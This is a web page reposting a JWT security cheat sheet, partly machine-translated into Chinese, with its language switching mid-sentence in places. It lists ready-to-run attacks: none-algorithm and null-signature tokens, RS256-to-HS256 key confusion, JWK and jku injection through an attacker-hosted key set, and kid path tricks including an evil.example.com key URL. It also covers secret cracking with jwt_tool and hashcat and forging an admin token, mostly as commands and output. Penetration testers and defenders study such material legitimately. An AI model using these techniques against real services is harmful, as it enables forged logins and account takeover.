JWT-JSONWebToken


文档摘要

JWT - JSON Web Token JSON Web Token (JWT) 是一种开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于以 JSON 对象的形式在各方之间安全地传输信息。由于该信息经过数字签名,因此可以被验证并信任。 概要 工具 JWT 格式 头部 载荷 JWT 签名 JWT 签名 - 空签名攻击(CVE-2020-28042) JWT 签名 - 泄露正确签名(CVE-2019-7644) JWT 签名 - None 算法(CVE-2015-9235) JWT 签名 - 密钥混淆攻击:RS256 到 HS256(CVE-2016-5431) JWT 签名 - 密钥注入攻击(CVE-2018-0114) JWT 签名 - 从已签名的 JWT 中恢复公钥

JWT - JSON Web Token

JSON Web Token (JWT) 是一种开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于以 JSON 对象的形式在各方之间安全地传输信息。由于该信息经过数字签名,因此可以被验证并信任。

概要

工具

JWT 格式

JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)

示例 : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY

我们可以将其分为由点分隔的 3 个部分。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature

头部

JSON Web Signature (JWS) RFC 中定义的注册头部参数名称。
最基本的 JWT 头部是以下 JSON。

{ "typ": "JWT", "alg": "HS256" }

其他参数已在 RFC 中注册。

参数 定义 描述
alg 算法 标识用于保护 JWS 的加密算法
jku JWK 集合 URL 指向一组 JSON 编码公钥的资源
jwk JSON Web Key 用于对 JWS 进行数字签名的公钥
kid 密钥 ID 用于保护 JWS 的密钥
x5u X.509 URL X.509 公钥证书或证书链的 URL
x5c X.509 证书链 以 PEM 编码格式存储的 X.509 公钥证书或证书链,用于对 JWS 进行数字签名
x5t X.509 证书 SHA-1 指纹) X.509 证书 DER 编码的 SHA-1 指纹(摘要)的 Base64 URL 编码
x5t#S256 X.509 证书 SHA-256 指纹 X.509 证书 DER 编码的 SHA-256 指纹(摘要)的 Base64 URL 编码
typ 类型 媒体类型。通常为 JWT
cty Content Type This header parameter is not recommended to use
crit Critical Extensions and/or JWA are being used

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

alg Param Value Digital Signature or MAC Algorithm Requirements
HS256 HMAC using SHA-256 Required
HS384 HMAC using SHA-384 Optional
HS512 HMAC using SHA-512 Optional
RS256 RSASSA-PKCS1-v1_5 using SHA-256 Recommended
RS384 RSASSA-PKCS1-v1_5 using SHA-384 Optional
RS512 RSASSA-PKCS1-v1_5 using SHA-512 Optional
ES256 ECDSA using P-256 and SHA-256 Recommended
ES384 ECDSA using P-384 and SHA-384 Optional
ES512 ECDSA using P-521 and SHA-512 Optional
PS256 RSASSA-PSS using SHA-256 and MGF1 with SHA-256 Optional
PS384 RSASSA-PSS using SHA-384 and MGF1 with SHA-384 Optional
PS512 RSASSA-PSS using SHA-512 and MGF1 with SHA-512 Optional
none No digital signature or MAC performed Required

Inject headers with ticarpi/jwt_tool: python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2

载荷

{ "sub":"1234567890", "name":"Amazing Haxx0r", "exp":"1466270722", "admin":true }

声明是预定义的键及其值:

  • iss: 令牌的签发者
  • exp: 过期时间戳(拒绝已过期的令牌)。注意:根据规范,此值必须以秒为单位。
  • iat: JWT 签发的时间。可用于确定 JWT 的年龄
  • nbf: "not before" 是令牌生效的未来时间。
  • jti: JWT 的唯一标识符。用于防止 JWT 被重复使用或重放。
  • sub: 令牌的主题(很少使用)
  • aud: 令牌的受众(也很少使用)

使用 ticarpi/jwt_tool 注入载荷声明:python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3

JWT Signature

JWT Signature - Null Signature Attack (CVE-2020-28042)

Send a JWT with HS256 algorithm without a signature like eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

漏洞利用:

python3 jwt_tool.py JWT_HERE -X n

拆解:

{"alg":"HS256","typ":"JWT"}. {"sub":"1234567890","name":"John Doe","iat":1516239022}

JWT 签名 - 泄露正确签名(CVE-2019-7644)

发送一个签名不正确的 JWT,端点可能会返回一个错误,从而泄露正确的签名。

Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=

JWT 签名 - None 算法(CVE-2015-9235)

JWT 支持一个 None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.

None algorithm variants:

  • none
  • None
  • NONE
  • nOnE

要利用此漏洞,你只需解码 JWT 并更改用于签名的算法。然后你可以提交新的 JWT。但是,除非你 删除 签名,否则这将不起作用。

或者,你可以修改现有的 JWT(注意过期时间)。

  • 使用 ticarpi/jwt_tool

    python3 jwt_tool.py [JWT_HERE] -X a
  • 手动编辑 JWT

    import jwt jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ' decodedToken = jwt.decode(jwtToken, verify=False) # decode the token before encoding with type 'None' noneEncoded = jwt.encode(decodedToken, key='', algorithm=None) print(noneEncoded.decode())

JWT 签名 - 密钥混淆攻击:RS256 到 HS256(CVE-2016-5431)

如果服务器代码期望一个“alg”设置为 RSA 的令牌,但收到一个“alg”设置为 HMAC 的令牌,它在验证签名时可能会无意中将公钥用作 HMAC 对称密钥。

由于攻击者有时可以获取公钥,攻击者可以将头部中的算法修改为 HS256,然后使用 RSA 公钥对数据进行签名。当应用程序与其 TLS Web 服务器使用相同的 RSA 密钥对时:openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

算法 HS256 使用密钥对每条消息进行签名和验证。
算法 RS256 使用私钥对消息进行签名,并使用公钥进行身份验证。

import jwt public = open('public.pem', 'r').read() print public print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

⚠️ 此行为已在 Python 库中修复,并将返回此错误 jwt.exceptions.InvalidKeyError: 指定的密钥是非对称密钥或 X.509 证书,不应用作 HMAC 密钥。. You need to install the following version: pip install pyjwt==0.4.3

  • 使用 ticarpi/jwt_tool

    python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
  • 使用 portswigger/JWT Editor

    1. 查找公钥,通常位于 /jwks.json or /.well-known/jwks.json
    2. Load it in the JWT Editor Keys tab, click 新 RSA 密钥.
    3. . In the dialog, paste the JWK that you obtained earlier: {"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}
    4. Select the PEM radio button and copy the resulting PEM key.
    5. Go to the Decoder tab and Base64-encode the PEM.
    6. Go back to the JWT Editor Keys tab and generate a 新对称密钥 in JWK format.
    7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
    8. Edit the JWT token alg to HS256 and the data.
    9. Click 签名 and keep the option: 不要修改头部
  • 手动按照以下步骤将 RS256 JWT 令牌编辑为 HS256

    1. 使用此命令将我们的公钥(key.pem)转换为 HEX。

      $ cat key.pem | xxd -p | tr -d "\\n" 2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
    2. 通过提供我们的公钥作为 ASCII 十六进制,并结合我们之前编辑过的令牌,生成 HMAC 签名。

      $ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a (stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
    3. 将签名(十六进制转为“base64 URL”)

      python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
    4. 将签名添加到编辑后的载荷中

      [HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

JWT 签名 - 密钥注入攻击(CVE-2018-0114)

在 0.11.0 之前的 Cisco node-jose 开源库中存在一个漏洞,可能导致未经身份验证的远程攻击者使用嵌入在令牌中的密钥重新签署令牌。该漏洞源于 node-jose 遵循 JSON Web Signature (JWS) 标准来处理 JSON Web Tokens (JWTs)。该标准规定,代表公钥的 JSON Web Key (JWK) 可以嵌入在 JWS 的头部中。然后,该公钥会被信任用于验证。攻击者可以通过移除原始签名、在头部中添加一个新的公钥,然后使用与该 JWS 头部中嵌入的公钥关联的(攻击者拥有的)私钥对对象进行签名,从而伪造有效的 JWS 对象。

漏洞利用

Deconstructed:

{ "alg": "RS256", "typ": "JWT", "jwk": { "kty": "RSA", "kid": "jwt_tool", "use": "sig", "e": "AQAB", "n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw" } }. {"login":"admin"}. [Signed with new Private key; Public key injected]

JWT Signature - Recover Public Key From Signed JWTs

The RS256, RS384, and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and their corresponding signatures.

SecuraBV/jws2pubkey: compute an RSA public key from two signed JWTs

$ docker run -it ttervoort/jws2pubkey JWS1 JWS2 $ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk Computing public key. This may take a minute... {"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}

JWT Secret

To create a JWT, a secret key is used to sign the header and payload, generating the signature. The secret key must be kept confidential and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker gains access to the secret key, they can create, modify, or sign their own tokens, bypassing the intended security controls.

Encode and Decode JWT with the Secret

  • Using ticarpi/jwt_tool:

    jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T Token header values: [+] alg = "HS256" [+] typ = "JWT" Token payload values: [+] name = "John Doe"
  • Using pyjwt: pip install pyjwt

    import jwt encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') jwt.decode(encoded, 'secret', algorithms=['HS256'])

Break JWT Secret

A useful list of 3,502 publicly available JWT secrets: wallarm/jwt-secrets/jwt.secrets.list, including your_jwt_secret, change_this_super_secret_random_string, etc.

JWT Tool

First, brute-force the "secret" key used to compute the signature using ticarpi/jwt_tool

python3 -m pip install termcolor cprint pycryptodomex requests python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

Then, edit the field within the JSON Web Token.

Current value of role is: user Please enter new value and hit ENTER > admin [1] sub = 1234567890 [2] role = admin [3] iat = 1516239022 [0] Continue to next step Please select a field number (or 0 to Continue): > 0

Finally, complete the token by signing it with the previously retrieved "secret" key.

Token Signing: [1] Sign token with known key [2] Strip signature from token vulnerable to CVE-2015-2951 [3] Sign with Public Key bypass vulnerability [4] Sign token with key file Please select an option from above (1-4): > 1 Please enter the known key: > secret Please enter the key length: [1] HMAC-SHA256 [2] HMAC-SHA384 [3] HMAC-SHA512 > 1 Your new forged token: [+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
  • Recon: python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
  • Scanning: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
  • Exploitation: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
  • Fuzzing: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
  • Review: python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

Hashcat

Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

  • Dictionary attack: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
  • Rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
  • Brute force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6

JWT Claims

IANA's JSON Web Token Claims

Misuse of the JWT "kid" Claim

The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits; rather, it enables the recipient to locate the key needed to verify the integrity of the JWT.

  • Example #1: Local file

    { "alg": "HS256", "typ": "JWT", "kid": "/root/res/keys/secret.key" }
  • Example #2: Remote file

    { "alg":"RS256", "typ":"JWT", "kid":"http://localhost:7070/privKey.key" }

The content of the file specified in the kid header will be used to generate the signature.

// Example for HS256 HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), your-256-bit-secret-from-secret.key )

Common ways to misuse the kid header include:

  • Obtaining the key content to modify the payload

  • Changing the key path to force your own

    >>> jwt.encode( ... {"some": "payload"}, ... "secret", ... algorithm="HS256", ... headers={"kid": "http://evil.example.com/custom.key"}, ... )
  • Changing the key path to a file with predictable content.

    python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
  • Modifying the kid header to attempt SQL and command injections

JWKS - jku Header Injection

The "jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the public key, an attacker can use the paired private key to sign the token, allowing the service to retrieve the malicious public key and verify the token.

This endpoint is sometimes exposed publicly via a standard endpoint:

For this attack, you should generate your own key pair and host it. It should look like this:

{ "keys": [ { "kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54", "kty": "RSA", "e": "AQAB", "n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ" } ] }

Exploit:

  • Using ticarpi/jwt_tool

    python3 jwt_tool.py JWT_HERE -X s python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
  • Using portswigger/JWT Editor

    1. Generate a new RSA key and host it
    2. Edit the JWT data
    3. Replace the kid header with the one from your JWKS
    4. Add a jku header and sign the JWT (Don't modify header option should be checked)

Deconstructed:

{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}. {"login":"admin"}. [Signed with new Private key; Public key exported]

Labs

References

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U